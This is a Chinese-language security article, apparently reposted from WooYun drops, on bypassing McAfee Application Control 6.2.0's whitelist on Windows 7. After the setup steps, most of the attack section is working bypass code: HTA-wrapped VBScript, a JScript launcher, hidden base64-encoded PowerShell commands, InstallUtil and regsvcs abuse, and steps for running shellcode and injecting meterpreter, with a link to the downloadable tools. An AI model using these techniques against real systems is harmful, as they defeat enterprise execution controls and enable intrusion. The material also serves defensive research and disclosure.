<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/10667

            0x00 前言


            應用白名單(Application Whitelisting)是用來防止未認證程序運行的一個計算機管理實踐。它的目的是保護計算機和網絡不受應用傷害。 McAfee Application Control作為其中比較有代表性的產品,使用動態的信任模型,避免了單調的人工更新許可清單工作。由于企業會面臨來自網絡的大量未知軟件,因此這款可以集中管理的解決方案有助于及時控制系統安全策略,滿足企業的運營需求。

            那么,我們就試試看,究竟能不能繞過最新版的McAfee Application Control 6.2.0(截至投稿日期)

            p1

            0x01 簡介


            p2

            McAfee Application Control對常見文件類型如exe、dll、bat作了限制,白名單外的這些文件均無法運行。所以這次的目標就是繞過限制來執行文件。

            0x02 配置McAfee Application Control


            操作系統:win7x86

            1.下載McAfee Application Control

            http://www.mcafee.com/us/products/application-control.aspx填寫信息并安裝

            2.配置流程圖

            p3

            3.Add the license

            管理員權限執行McAfee Solidifier 命令行

            1.查看許可證是否安裝

            執行

            sadmin license list
            

            2.添加許可證

            在McAfee_Application_Control_v6_2_0_License.txt中會有

            執行

            sadmin license add 2708-0108-1402-2208-0710
            

            如圖

            p4

            3.重啟服務Application Control service

            執行

            net stop scsrvc
            net start scsrvc
            

            4.Create the whitelist

            1.創建白名單規則

            執行

            sadmin solidify
            

            需要等待很長一段時間,為當前系統中的所有文件創建規則,如果未添加許可證,該功能無法使用

            2.查看白名單狀態

            執行

            sadmin status
            

            確保狀態為Solidified

            如圖

            p5

            5.Place Application Control in Enabled mode

            1.開啟程序控制,禁止白名單以外的程序運行

            執行

            sadmin enable
            

            如圖

            p6

            重啟系統,重啟服務,執行

            net stop scsrvc
            net start scsrvc
            

            2.查看狀態

            執行

            sadmin status
            

            確保McAfee Solidifier狀態為Enabled

            重啟后如圖

            p7

            3.測試

            新建一些測試文件

            執行

            sadmin list-unsolidified
            

            查看白名單以外的程序

            如圖

            p8

            執行

            sadmin scripts list
            

            查看禁止執行的文件類型

            如圖

            p9

            分別執行exe、bat、dll,均被限制,如圖

            p10

            p11

            0x03 代碼執行漏洞


            1.難題

            無法執行自己的程序

            2.分析

            根據白名單系統的特點,繞過的思路如下:

            1. 找到系統中的特定白名單程序

              利用該程序執行代碼

              編寫代碼使其執行我們自己的程序

            2. 找到系統中未被攔截的特定程序

              利用該程序執行代碼

              編寫代碼使其執行我們自己的程序

            0x04 繞過方法


            最終我們還是做到了:D

            1.執行vbs

            利用hta文件

            Tips:

            hta是HTML Applications的縮寫,是利用HTML和Dynamic HTML(DHTML)開發應用程序

            利用如下代碼即可通過hta執行vbs

            #!html
            <HTML> 
            <HEAD> 
            <script language="VBScript">
                Set objShell = CreateObject("Wscript.Shell")
                objShell.Run "calc.exe"
            </script>
            </HEAD> 
            <BODY> 
            </BODY> 
            </HTML> 
            

            如圖

            p12

            然而并不完美,hta的界面會默認顯示,所以我們需要進一步修改來隱藏hta的主界面

            加入屬性指定hta執行后最小化顯示,完整的代碼如下

            #!html
            <HTML> 
            <HEAD> 
            <script language="VBScript">
                Set objShell = CreateObject("Wscript.Shell")
                objShell.Run "calc.exe"
            </script>
            <HTA:APPLICATION ID="test"
            WINDOWSTATE = "minimize">
            
            </HEAD> 
            <BODY> 
            </BODY> 
            </HTML> 
            

            保存為vbs.hta,執行如圖

            p13

            2.執行jscript

            jscript未被McAfee Application Control限制,因此可以被利用

            如下代碼保存為calc.js

            #!js
            var objShell = new ActiveXObject("WScript.shell");
            objShell.run('calc.exe');
            

            執行成功,如圖

            p14

            3.執行powershell

            如果可以執行powershell代碼,還擔心繞不過McAfee Application Control嗎?

            當然,默認是肯定無法執行的,如圖

            p15

            方法1:

            將ps1文件內容保存為script.txt,然后進入Powershell環境執行如下代碼:

            Get-Content script.txt | iex
            

            但是如果txt中含有函數,會產生如下錯誤,需要更改腳本內容,錯誤如圖

            p16

            方法2:

            利用hta可以執行vbs,再用vbs執行Powershell

            使用如下代碼并保存為vbs+ps.hta

            #!html
            <HTML> 
            <HEAD> 
            <script language="VBScript">
                Set WshShell = CreateObject("WScript.Shell")
                Connect="powershell -nop -windows hidden -E YwBhAGwAYwAuAGUAeABlAA=="
                WshShell.Run Connect, 4, true
            
            </script>
            <HTA:APPLICATION ID="test"
            WINDOWSTATE = "minimize">
            
            </HEAD> 
            <BODY> 
            </BODY> 
            </HTML> 
            

            執行后先調用vbs腳本,再執行Powershell命令

            方法3:

            利用快捷方式執行Powershell

            右鍵新建一個快捷方式,填入如下代碼,并保存為ps.lnk

            powershell -nop -windows hidden -E YwBhAGwAYwAuAGUAeABlAA==
            

            如圖

            p17

            運行快捷方式后執行Powershell命令,彈出計算器

            方法4:

            利用Powershell環境直接執行,簡單粗暴

            cmd下執行Powershell.exe進入Powershell環境,然后在下面直接輸入所有命令即可

            0x05 漏洞利用


            目前我們已經可以在安裝McAfee Application Control的系統中執行vbs、jscript、Powershell,那么利用上述方法可以實現什么呢?

            1.執行shellcode

            方法1:

            利用vbs,將shellcode轉為vbs,然后通過hta執行

            參考地址:

            http://blog.didierstevens.com/2009/05/06/shellcode-2-vbscript/

            方法2:

            利用js

            方法3:

            利用Powershell

            在之前的文章對通過Powershell執行shellcode有過詳細介紹,對其中的ps1文件細節作簡單修改保存為1-CodeExecution-Shellcode.ps1

            進入Powershell環境,然后在里面執行1-CodeExecution-Shellcode.ps1的所有內容

            如圖

            p18

            方法4:

            利用InstallUtil

            在之前的文章《利用白名單繞過限制的更多測試》對此有過詳細介紹

            上傳shellcode.cs,執行如下命令:

            C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe  /out:exeshell.exe Shellcode.cs
            
            C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe
            

            如圖

            p19

            方法5:

            如果系統支持.net4.0,可以利用regsvcs

            參考地址:

            https://gist.github.com/subTee/fb09ef511e592e6f7993

            上傳key.snk和regsvcs.cs,執行如下命令:

            C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library 
            
            /out:regsvcs.dll /keyfile:key.snk regsvcs.cs
            C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe regsvcs.dll
            

            2.執行exe

            利用Powershell

            在之前的文章對通過Powershell執行exe有過詳細介紹,對其中的ps1文件細節作簡單修改保存為2-CodeExecution-Exe.ps1

            進入Powershell環境,然后在里面執行2-CodeExecution-Exe.ps1的所有內容

            如圖

            p20

            3、加載dll

            利用Powershell

            在之前的文章對通過Powershell執行exe有過詳細介紹,對其中的ps1文件細節作簡單修改保存為3-CodeExecution-dll.ps1

            進入Powershell環境,然后在里面執行3-CodeExecution-dll.ps1的所有內容

            如圖

            p21

            4、注入meterpreter

            利用Powershell

            在之前的文章對通過Powershell執行exe有過詳細介紹,對其中的ps1文件細節作簡單修改保存為4-Process Injection-Meterpreter.ps1

            進入Powershell環境,然后在里面執行4-Process Injection-Meterpreter.ps1的所有內容

            如圖

            p22

            0x06 小結


            我們成功在安裝McAfee Application Control的系統上執行了vbs、exe、dll以及注入meterpreter。

            當然McAfee Application Control還有其他一些保護功能,我們的研究測試也不只如此。

            注:

            以下文件可供下載

            1-CodeExecution-Shellcode.ps1
            2-CodeExecution-Exe.ps1
            3-CodeExecution-dll.ps1
            4-Process Injection-Meterpreter.ps1
            calc.js
            key.snk
            ps.lnk
            regsvcs.cs
            Shellcode.cs
            vbs+ps.hta
            vbs.hta
            

            下載地址:

            https://github.com/3gstudent/Bypass-McAfee-Application-Control--Code-Execution

            參考鏈接:

            1. http://bsidesvienna.at/slides/2015/a_case_study_on_the_security_of_application_whitelisting.pdf
            2. https://kc.mcafee.com/resources/sites/MCAFEE/content/live/PRODUCT_DOCUMENTATION/24000/PD24662/en_US/AppCtrl_BestPractices_Guide.pdf
            3. http://www.intel.com/content/dam/www/public/us/en/documents/guides/mcafee-application-control-product-guide.pdf
            4. http://subt0x10.blogspot.hk/2015/11/all-natural-organic-free-range.html
            5. http://blog.didierstevens.com/2009/05/06/shellcode-2-vbscript/
            6. http://subt0x10.blogspot.hk/2015/08/application-whitelisting-bypasses-101.html
            7. https://gist.github.com/subTee/a06d4ae23e2517566c52
            8. https://gist.github.com/subTee/fb09ef511e592e6f7993
            9. https://social.technet.microsoft.com/Forums/scriptcenter/en-US/08cce717-38d0-4def-a5bf-e5b4a846a597/run-powershell-from-hta

            本文由三好學生原創并首發于烏云drops,轉載請注明

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线